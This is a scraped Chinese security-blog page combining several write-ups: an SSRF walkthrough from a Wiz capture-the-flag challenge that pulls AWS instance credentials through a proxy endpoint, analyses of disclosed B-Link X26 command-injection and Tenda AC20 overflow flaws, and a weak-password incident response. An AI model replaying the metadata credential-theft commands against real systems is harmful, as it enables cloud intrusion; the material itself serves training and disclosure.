结果不可逆!!!\r\n\r\n 后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊!\r\n\r\n 虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。\r\n\r\n0x04结尾\r\n\r\n 该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fb01bf431-2444-40f1-9d65-157b55d4b76f.png",openTime:"2025-08-07T10:11:59+08:00",viewsNum:807},{id:"20250724135910",type:a,title:"wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析",abstract:"背景\r\n\r\n经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。\r\n\r\n但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。\r\n\r\n`You've discovered a Spring Boot Actuator application running on AWS: curl https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\r\n\r\n{\"status\":\"UP\"}\r\n\r\n解决过程\r\n\r\nSpring Boot Actuator 泄露\r\n\r\n首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env\r\n\r\n尝试列出\r\n\r\nuser@monthly-challenge:~$ aws s3 ls s3:\u002F\u002Fchallenge01-470f711\u002F --no-sign-request\r\n \r\nAn error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied\r\n\r\n不行,没有权限,所以我们必须去寻找凭证\r\n\r\n我第一想法就是元数据\r\n\r\n但是没有反应\r\n\r\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\r\n\r\n估计这个 shell 不是一个 EC2 的\r\n\r\n然后就是寻找凭据了,可以使用一些工具,比如 truffleHog\r\n\r\n然后简单找了一下\r\n\r\nuser@monthly-challenge:\u002F$ grep -ri --exclude-dir={\u002Fproc,\u002Fsys,\u002Fdev,\u002Frun,\u002Fsnap,\u002Fvar\u002Flib\u002Fdock\r\ner} 'Secret Access Key' \u002F\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fdatazone\u002F2018-05-10\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EThe secret access key of a connection.\u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fdatazone\u002F2018-05-10\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EThe secret access key of the environment credentials.\u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fs3control\u002F2018-08-20\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EThe secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. \u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fappflow\u002F2020-08-23\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003E The Secret Access Key portion of the credentials. \u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fappflow\u002F2020-08-23\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003E The Secret Access Key portion of the credentials. \u003C\u002Fp\u003E\"\r\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fopsworks\u002F2013-02-18\u002Fservice-2.json:          \"documentation\":\"\u003Cp\u003EWhen included in a request, the parameter depends on the repository type.\u003C\u002Fp\u003E \u003Cul\u003E \u003Cli\u003E \u003Cp\u003EFor Amazon S3 bundles, set \u003Ccode\u003EPassword\u003C\u002Fcode\u003E to the appropriate IAM secret access ke\n\u002Fusr\u002Flocal\u002Faws-cli\u002Fv2\u002F2.27.37\u002Fdist\u002Fawscli\u002Fbotocore\u002Fdata\u002Fs3\u002F2006-03-01\u002Fservice-2.json:      \"documentation\":\"\u003Cp\u003ECreates a copy of an object that is already stored in Amazon S3.\u003C\u002Fp\u003E \u003Cnote\u003E \u003Cp\u003EYou can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si\n\r\n找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了\r\n\r\n然后去批量爆破一波查看是否有可利用的信息\r\n\r\n然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由\r\n\r\n这个应该就是拿来访问元数据的了\r\n\r\n元数据绕过\r\n\r\n一般都有 ssrf 漏洞\r\n\r\nuser@monthly-challenge:\u002F$ curl https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\r\nHTTP error: 401 Unauthorized\r\n\r\n可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2\r\n\r\n我们首先获取 token,使用 PUT 请求\r\n\r\nuser@monthly-challenge:\u002F$ curl -X PUT \\\r\n  -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\r\n  \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\"\r\n \r\nAQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\r\n\r\n可以看到获取到了 Token,我们尝试使用 token 来访问元数据\r\n\r\nuser@monthly-challenge:\u002F$ curl -H \"X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\" \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"\r\nami-id\r\nami-launch-index\r\nami-manifest-path\r\nblock-device-mapping\u002F\r\nevents\u002F\r\nhibernation\u002F\r\nhostname\r\niam\u002F\r\nidentity-credentials\u002F\r\ninstance-action\r\ninstance-id\r\ninstance-life-cycle\r\ninstance-type\r\nlocal-hostname\r\nlocal-ipv4\r\nmac\r\nmetrics\u002F\r\nnetwork\u002F\r\nplacement\u002F\r\nprofile\r\npublic-hostname\r\npublic-ipv4\r\npublic-keys\u002F\r\nreservation-id\r\nsecurity-groups\r\nservices\u002F\r\nsystem\r\n\r\n可以了,我们访问凭证信息\r\n\r\nuser@monthly-challenge:\u002F$ curl -H \"X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\" \\\r\n\"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\r\nchallenge01-5592368\r\n\r\n然后使用它的凭证\r\n\r\nuser@monthly-challenge:\u002F$ curl -H \"X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==\" \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002Fchallenge01-5592368\"\r\n{\r\n  \"Code\" : \"Success\",\r\n  \"LastUpdated\" : \"2025-07-10T13:26:52Z\",\r\n  \"Type\" : \"AWS-HMAC\",\r\n  \"AccessKeyId\" : \"ASIARK***WELX36\",\r\n  \"SecretAccessKey\" : \"PsrjWr+AANNHBG3n***NmUHVglRE+BV\",\r\n  \"Token\" : \"IQoJb3JpZ2luX2VjELb\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FwEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky\u002FIC6HpBwzG52L\u002FED+fizjGUTaX\u002F5YP4KcqwQUIv\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz\u002FIuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR\u002FK\u002FF\n  \"Expiration\" : \"2025-07-10T19:47:29Z\"\r\n}\r\n\r\n有了这些我们就可以配置了首先我们进行配置\r\n\r\nroot@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01\r\nroot@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01\r\nroot@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FwEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky\u002FIC6HpBwzG52L\u002FED+fizjGUTaX\u002F5YP4KcqwQUIv\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002FARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz\u002FIuhF6PqC8iDwPJ9uFspInzbc\n\r\n之后我们就会有这个用户的权限了\r\n\r\n目标文件位置获取\r\n\r\n我们首先查一下这个用户有的 bucket 的权限\r\n\r\n首先获取当前用户信息\r\n\r\nroot@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01\r\n{\r\n    \"UserId\": \"AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279\",\r\n    \"Account\": \"092297851374\",\r\n    \"Arn\": \"arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279\"\r\n}\r\n\r\n然后我们查看对应的策略\r\n\r\nroot@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \\\r\n  --policy-source-arn arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279 \\\r\n  --action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \\\r\n  --profile challenge01\r\n \r\nAn error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002F\nroot@hcss-ecs-0d0e:~# \r\n\r\n可惜这个用户没有权限,我们直接列\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01\r\n \r\nAn error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role\u002Fchallenge01-5592368\u002Fi-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action\r\n\r\n没有列出桶的权限,不过我们知道桶的名称\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 ls s3:\u002F\u002Fchallenge01-470f711\u002F --recursive --profile challenge01\r\n2025-06-19 01:15:24         29 hello.txt\r\n2025-06-17 06:01:49         51 private\u002Fflag.txt\r\n\r\n读取文件绕过\r\n\r\n尝试读取的时候可惜\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 cp s3:\u002F\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt - --profile challenge01\r\ndownload failed: s3:\u002F\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden\r\n\r\n没有读的权限\r\n\r\n我们还是得查查存储桶的策略\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01\r\n{\r\n    \"Policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Deny\\\",\\\"Principal\\\":\\\"*\\\",\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::challenge01-470f711\u002Fprivate\u002F*\\\",\\\"Condition\\\":{\\\"StringNotEquals\\\":{\\\"aws:SourceVpce\\\":\\\"vpce-0dfd8b6aa1642a057\\\"}}}]}\"\r\n}\r\n\r\n限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝\r\n\r\n怎么办呢\r\n\r\n聪明的 GPT 给出了答案\r\n\r\n也让我想起了 proxy\r\n\r\nroot@hcss-ecs-0d0e:~# curl \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=http:\u002F\u002Fs3.amazon\r\naws.com\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt\"\r\nHTTP error: 403 Forbiddenroot\r\n\r\n但是结果是还是被阻止了\r\n\r\n这里可能 proxy 不在 VPC,不过我们可以验证一下\r\n\r\n但是刚刚都读取成功了,大概率是在的\r\n\r\n没办法,只能寻找好朋友的帮助了\r\n\r\n首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的\r\n\r\n参考https:\u002F\u002Fdocs.aws.amazon.com\u002Fzh_cn\u002FAmazonS3\u002Flatest\u002Fuserguide\u002FShareObjectPreSignedURL.html\r\n\r\n默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。\r\n\r\n我们需要使用预签名\r\n\r\nhttps:\u002F\u002Fdocs.aws.amazon.com\u002Fzh_cn\u002FAmazonS3\u002Flatest\u002Fuserguide\u002Fusing-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容:\r\n\r\n一个 Amazon S3 存储桶\r\n\r\n对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名)\r\n\r\nHTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等)\r\n\r\n过期时间间隔\r\n\r\n按照这个我们直接运行命令生成如下的签名\r\n\r\nroot@hcss-ecs-0d0e:~# aws s3 presign s3:\u002F\u002Fchallenge01-470f711\u002Fprivate\u002Fflag.txt --profile challenge01 --expires-in 3600\r\nhttps:\u002F\u002Fchallenge01-470f711.s3.amazonaws.com\u002Fprivate\u002Fflag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky\n\r\n然后我们带着这个签名\r\n\r\n但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问\r\n\r\nroot@hcss-ecs-0d0e:~# curl \"https:\u002F\u002Fctf:88sPVWyC2P3p@challenge01.cloud-champions.com\u002Fproxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63%\nThe flag is: ********\r\n\r\n成功\r\n\r\n总结\r\n\r\n总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的\r\n\r\n获取桶名称-\u003E\r\n\r\n不能匿名访问-\u003E获取配置信息-\r\n\r\n元数据\r\n\r\n不能直接访问-走代理\r\n\r\nmapping 泄露 proxy\r\n\r\n元数据绕过 IMDSv2 安全机制\r\n\r\n获取用户信息,查看权限\r\n\r\n列取文件位置\r\n\r\nvpc 限制,来联想 proxy\r\n\r\n403,考虑预签名 URL 授予\r\n\r\n行云流水",pic:"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002F417184a9-9bfe-41be-b74b-606afd783052\u002F12a051a0-34f7-4c73-800a-5cecc89eed09.png",openTime:"2025-07-24T14:00:24+08:00",viewsNum:1051}]},systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"891156e99b77072fe4445cab30e2edc5",isMobileDevice:false}}("specialized"))
B-Link X26路由器Web服务风险挖掘
0.前言 在对B-Link X26 V1.2.8 路由器固件进行安全审计时,发现其在处理特定输入的过程中存在命令注入溢出漏洞。 该漏洞的成因在于程序未对用户传入的数据进行严格的合法性校验,直接拼接进入系统命令,攻击者可以借此注入并执行任意代码。这种情况不仅可能导致设备运行异常,还可能在某些条件下使攻击者获得对路由器的完全控制。 通过验证与复测确认,该漏洞风险等级较高,利用门槛低,极易被远程攻击者滥用,对设备本身以及所处网络的安全性构成严重威胁。 目前,我已将漏洞细节、复现过程与修复建议整理成完整报告,并通过官方渠道提交给厂商及 CVE 分配机构。 该漏洞已被收录,编号为 https://www.cve.org/CVERecord?id=CVE-2025-9580。 1.漏洞概述 B-Link X26路由器 V1.2.8版本存在命令执行漏洞,触发该漏洞需要进行一次授权,当攻击者获取授权之后可以通过发送恶意的HTTP POST请求即可触发该漏洞。 2.漏洞详情 https://www.b-link.net.cn/product_29_174.html官网下载完固件之后,使用binwalk进行解包。 这个固件解包出来后,比起之前其他我挖过其他消费级路由器也有很大不同。 首先它没有httpd文件,解包后习惯性地在 bin/ 或 sbin/ 目录中寻找 httpd 可执行文件,因为在大多数消费级或企业级路由器中,Web 管理界面往往依赖 httpd 作为核心服务。但在 B-Link X26 的固件中并没有找到 httpd,这使得常规思路无法直接套用。 接下来尝试在 Web 资源目录下寻找脚本文件,一般来说企业级路由器会包含大量 .php 脚本,比如 DCME-720 ,消费级路由器则可能依赖 .cgi 文件来处理。 后台逻辑,但是在 B-Link X26 中,.cgi 文件数量极少,仅发现了与上传相关的 upload.cgi。这与以往分析的 DCME、Wavlink 固件有明显不同:后者解包后能看到一整套配置、认证、状态查询相关的脚本,而在 X26 上,脚本层几乎不存在。 既然缺少传统的 httpd,.cgi 文件也很少,说明该固件的 Web 服务逻辑并未像常见路由器那样拆分到大量脚本中,那么剩下的可能性,要么Web 服务被嵌入在某个非典型命名的二进制中,或者是路由器采用了轻量级嵌入式 Web 服务器。 带着这个假设,再次对 bin/ 目录进行排查,可以发现一个名为 goahead 的可执行文件。 通过字符串检索与反汇编分析,可以在 goahead 中发现大量 Web 服务相关的函数调用,比如 websGetVar、HTTP 请求处理逻辑,并且能定位到 system()、popen() 等命令执行函数。 所以说B-Link X26 的 Web 管理界面核心逻辑全部集成在 goahead 内部,而不是依赖外部的 .cgi 或 .php 文件。 回到正题,当请求路径为set_hidessid_cfg时候会进入sub_44F9F4函数的处理逻辑。 可以看到,这里从 HTTP 请求里取出参数 type 和 enable,a1 通常是 webs_t 结构(goahead 的请求上下文),websGetVar 用来提取请求参数。 如果没取到,返回默认值 "" 然后又通过创建json对象的格式将参数打包成json对象传入到了bs_SetSSIDHide函数中,从名字可以看出来这是修改隐藏 SSID的配置的函数。 {  "type":   "<用户输入的type参数>",  "enable": "<用户输入的enable参数>" } 那么这里就会有一些问题,type和enable完全是由用户输入的。 没有过滤,type 和 enable 原样地放进 JSON。 关键在于 bs_SetSSIDHide 的实现,如果说它内部调用了 system()/popen() 来修改无线配置,比如说执行 iwpriv、uci set 等命令,就可能引发命令注入。 但是如果只是直接操作配置文件/内存结构,则风险较小。 所以接着看 bs_SetSSIDHide 函数,但是这里有个问题,就是它是个外部函数,无法在gohead里面直接找到,这说明该函数并不在当前二进制中实现,而是来自外部库。 所以为了找到其具体的实现逻辑,首先检查了 goahead 的动态依赖库。 readelf -d goahead | grep NEEDED 该命令用于列出 goahead 这个程序运行时所必需的所有动态链接库,共享库文件。 查出了 goahead 运行时依赖的动态库,包括:libc.so.0,libnvrm.so.0,libshare.so.0之类。 既然 bs_SetSSIDHide 在 goahead 内部没定义,那么它必然来自这些依赖库之一。 根据经验,libshare.so.0 这个命名,share → 常常封装设备配置、WLAN、系统参数等接口,就可以合理怀疑这个函数实现藏在里面。 我们也可以验证一下猜测 nm -D libshare.so.0 | grep bs_SetSSIDHide 该命令用于检查名为 bs_SetSSIDHide 的函数是否存在于共享库 libshare.so.0 的动态符号表中,从而确认该函数是否可以被其他程序调用。 0002b7f4是函数 bs_SetSSIDHide 在 libshare.so.0 里的偏移地址,如果库被加载到内存,这个地址会加上库的基址,得到函数的真实运行时地址。 T表示该符号在 Text 段,也就是代码段中被定义,说明它是一个函数。字母 T 是大写的,这表示它是一个全局符号,意味着这个函数可以被链接到这个库的其他程序或库文件调用。如果是小写的 t,则表示它是一个内部函数,只能在库内部使用。 如果是 U,就表示 undefined,也就是未定义,只是引用。 bs_SetSSIDHide,就是符号名,也就是函数的名字,这说明 bs_SetSSIDHide 真正的实现就在 libshare.so.0 里。 这张图的输出证明了 bs_SetSSIDHide 在 libshare.so.0 中确实有定义(函数实现),地址偏移是 0x2b7f4,因此在 goahead 里调用的就是这个库函数。 所以按理来说我们应该去逆向分析libshare.so.0 但是由于其中 libshare.so.0 属于 共享对象名,其作用是给运行时动态链接器提供一个稳定的接口名称。 而 libshare-0.0.26.so 才是库的真实实现文件。通常情况下,libshare.so.0 会通过符号链接指向 libshare-0.0.26.so 所以直接处理 libshare-0.0.26.so就好,因为它包含了完整的符号信息与函数实现。 可以发现bs_SetSSIDHide将传入的两个json格式的对象进行了取值,并且接下来存在一个判断,对type取值为sethide2绕过这个if分支。 这里会发现对v20进行了命令执行,而v20是通过v7拼接而来的,而v7往上翻就是取到的值enable,也就是一开始传入的值。 那么这里就存在一个libc函数相关的命令执行。 3.漏洞验证 淘了一台真机,直接省事,懒得去仿真了(其实是仿真不起来....),真机才是硬道理! 然后去访问3.txt文件就会发现已经注入成功了。
应急响应:某网站被挂非法链接
事件概况 最近应急,遇到一起官网非法链接事件。如下图所示,使用百度搜索引擎语法site:www.网站域名 搜索某关键字,会出现一堆结果。并且只有百度搜索引擎可以搜索出来,其他的都没有记录。 挨个点开,都是404,最近的一条是8.15的。 到现场后,先建议工作人员分批进行用户反馈,期望百度能够尽快删除搜索结果,将负面影响降低到最小,之后着手应急。 既然是挂链接,又是404,说明在百度爬虫收录之后,链接原文已经被删除。作案者相当谨慎,估计是下次接到活儿还想如法炮制。现场资产情况是: Windows Server 2016 IIS 10 Microsoft Sql Server 2008 WAF 排查角度有两个,一是服务器被入侵了,这是最糟糕的结果,二是网站本身存在漏洞,作案者直接操作网站后台发的文。 上机排查 登录服务器,看到桌面还算整洁,与运维人员核实,安装的软件也都正常。查看服务器上仅有的安全防护措施——卡巴斯基,未发现活动威胁,情况还算可以。 翻看卡巴斯基防护日志,并没有异常行为告警,只有一条漏洞利用防御的记录,还是告警的D盾。 将D盾拿上服务器,逐一翻看一遍,并没有发现异常,IIS模块都是正常运行。 排查到这里基本可以排除服务器被入侵的可能了。然后,有效的安全设备仅有一台WAF,登录上去看看与该网站相关的日志。 看到很多发文异常的告警,但仅仅是告警,没有阻断,估计是不允许影响业务。 从这条告警来猜测,网站有可能存在编辑器漏洞,kindeditor。但也就这些告警,没有参考价值,因为响应结果记录为空。 既然没有入侵服务器,没有植入马儿,那就还是通过网站操作来发布的文章。所以下面的排查思路是跟踪文章的发布和删除时间,以及发布者账号、登录IP等等。 联系软件开发公司的人,询问文章删除逻辑: 顿时感觉这套系统开发的好随意,文章说删就删了,真的删了,没有给追踪溯源留下一丝余地。接下来怎么办?看看web日志吧。 web日志 web日志分为两种,一种以ex开头,记录的是爬虫行为,文件普遍偏小,另一种以nc开头,记录的是网站的访问日志,文件普遍偏大。 根据“Baiduspider”关键字搜索百度爬虫的时间。 302太多,只需要200的,并且加上大概的时间范围: 记录还是太多。询问开发人员有没有url白名单,不出所料,回复依然是“不知道”。如此一来,从百度收录时间入手排查的思路就断了。然后怎么办?看看访问日志吧,根据访问数量筛选一下。 果然,有一个IP的访问数量特别多,针对这个IP筛选一下。 访问时间大多在凌晨一两点,且url多数和kindeditor有关,着实可疑。然后根据这个IP查一下登录账号: 只有寥寥几条,应该是只供页面展示用,而且不支持下一页查询。既然开发不给力,那就只有自己登录数据库查询了。 Database 登录之后翻看表空间,首先看到一张User表,本能地打开。看到loginPwd列,自然是存储的密码,不过,再仔细瞧瞧这些记录,16位的MD5啊! 继续翻看发现,怎么有几个相同的MD5值?难不成是初始密码还没改。 把这几个相同的MD5拿出来解密一下: 解出来了,又是一个MD5,再次解密: 出来了,弱口令,111。用户密码的加密规则是两次MD5处理。以这个密码为查询条件筛选一下用户,好家伙,总共6个人都是用的这个密码。 在其中随便找个账号查询其近两个月的登录记录: 果然,8.11登录过,而且是外省地址。回看百度爬虫收录时间是8.15,从发文到被爬取用了4天时间,符合爬虫效率。 之后再去除源地址转换、出口IP地址、IPv6地址,筛选所有弱口令账号近三月的登录日志,共53条。 经分析发现其中一个账号存在多地点多IP登录的情况,且登录IP中有多个为恶意IP,下图是其一。 用其账号登录网站后台管理系统,瞬间一目了然: 账号权限包括发布文章、修改文章、删除文章......一应俱全。 总结两点 说一千道一万的是弱口令,屡禁不止的是弱口令,明知故犯的还是弱口令。 应急是个综合性很强的活儿,有时候不需要多么高超的技术,像这次,我就当了一把系统运维和数据库运维。
Tenda AC20路由器缓冲区溢出漏洞分析
1.前言 七月底,在对 Tenda AC20 路由器 进行安全分析时,发现其固件在处理特定输入时存在 缓冲区溢出漏洞。 该漏洞源于程序在拷贝用户输入时缺乏有效的边界检查,攻击者可以通过构造恶意请求触发溢出,从而导致系统崩溃,甚至在某些场景下获得更高权限,进而完全控制设备。 经过多次验证与测试,确认该漏洞风险较高,对设备的安全性影响严重。 我整理了一份详细的技术报告,内容包括漏洞成因、复现方法及修复建议,并通过正规渠道提交给厂商及 CVE 分配机构。 近日,该漏洞已被正式收录,编号为 https://nvd.nist.gov/vuln/detail/CVE-2025-8939 。 2.漏洞概述 Tenda AC20 路由器被发现存在缓冲区溢出漏洞。攻击者可以通过向某些路径发送特制的 HTTP POST 请求来触发此漏洞,从而可能导致拒绝服务 (DoS) 攻击,甚至远程代码执行 (RCE)。 3.漏洞细节 AC20 路由器的最新固件可从腾达官网下载:AC20 升级软件 - https://www.tenda.com.cn/ 固件可以使用以下在线工具解压:https://zhiwanyuzhou.com/multiple_analyse/firmware/ 或者直接使用binwalk解包也是可以的,获得以下文件: 我们要找到/squashfs-root/bin/httpd 二进制文件。 因为httpd就是Tenda 路由器的 Web 管理后台进程,大部分家用路由器,包括 Tenda都提供一个 Web 管理界面,这个界面其实就是由路由器内部的一个小型 Web 服务器httpd提供的。 当用户在浏览器里访问路由器后台时,请求会被发送到路由器本地运行的 httpd 服务,这个二进制文件负责接收、解析 HTTP 请求,比如说登录、修改 Wi-Fi 密码、固件升级等,然后调用底层的系统函数或配置接口。 由于 httpd 要解析用户提交的数据,如果代码没有做好边界检查,就可能导致缓冲区溢出、命令注入等问题,这也是为什么路由器的很多漏洞,很常见的溢出、注入、未授权访问都集中在 httpd 这个二进制文件里。 解包文件里面还有dhttpd二进制文件,它与httpd最大的不同就在于httpd是Tenda 的主后台 Web 管理进程,就是能够对用户可见的路由器后台,而dhttpd则会用来跑一些非核心但需要 Web 接口的功能,像什么诊断、子模块或者是其他特定功能。 在Tenda AC 系列里,Web 管理界面并没有用第三方服务器,比如lighttpd,或者是boa之类的,而是厂商自己写的 httpd 二进制文件。 那么,所有 HTTP 请求直接由这个 httpd 处理,路由器后台的逻辑,像什么 Wi-Fi 配置、系统管理之类的也都在里面实现,所以漏洞就会出现在 httpd 本身。 换句话说,Tenda 的 httpd 本身就是 Web 服务 + 业务逻辑的二合一。 回到正题,我们在httpd文件中发现函数fromSetWifiGusetBasic有缓冲区溢出的风险。 可以看到这里的函数fromSetWifiGusetBasic,该函数会获取shareSpeed的值,然后将其复制到Var数组中,且没有进行长度检查,从而导致缓冲区溢出漏洞。 交叉引用后再往上翻就会发现它其实是有个前提条件的,那就是请求路径必须是WifiGuestSet。 这行代码的作用,是把 WifiGuestSet 这个字符串与具体的处理函数 fromSetWifiGuestBasic 绑定在一起。换句话说,只要有请求命中 WifiGuestSet,设备就会调用对应的函数去执行。 所以我们Poc的请求路径就应该是POST /goform/WifiGusetSet HTTP/1.1 。 路径前加 /goform/ 是 Tenda 固件的惯用套路,结合代码逻辑,基本可以确认。 4.漏洞验证 